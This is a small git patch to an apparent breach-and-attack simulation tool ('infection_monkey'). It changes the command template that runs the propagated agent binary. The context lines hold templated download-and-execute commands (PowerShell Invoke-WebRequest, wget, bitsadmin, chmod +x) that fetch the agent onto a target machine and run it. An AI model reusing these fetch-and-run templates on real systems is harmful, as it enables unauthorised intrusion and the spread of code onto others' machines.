From e95cf61b28137654fbc79c908b4373e0bbaeb132 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 6 Apr 2020 10:19:52 +0300 Subject: [PATCH] Removed cmd.exe prefix from command that's used on linux also --- monkey/infection_monkey/model/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 864d307e4..5644044b0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -25,7 +25,7 @@ POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \ WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" -RUN_MONKEY = "%s %%(monkey_path)s %%(monkey_type)s %%(parameters)s" % (CMD_PREFIX) +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands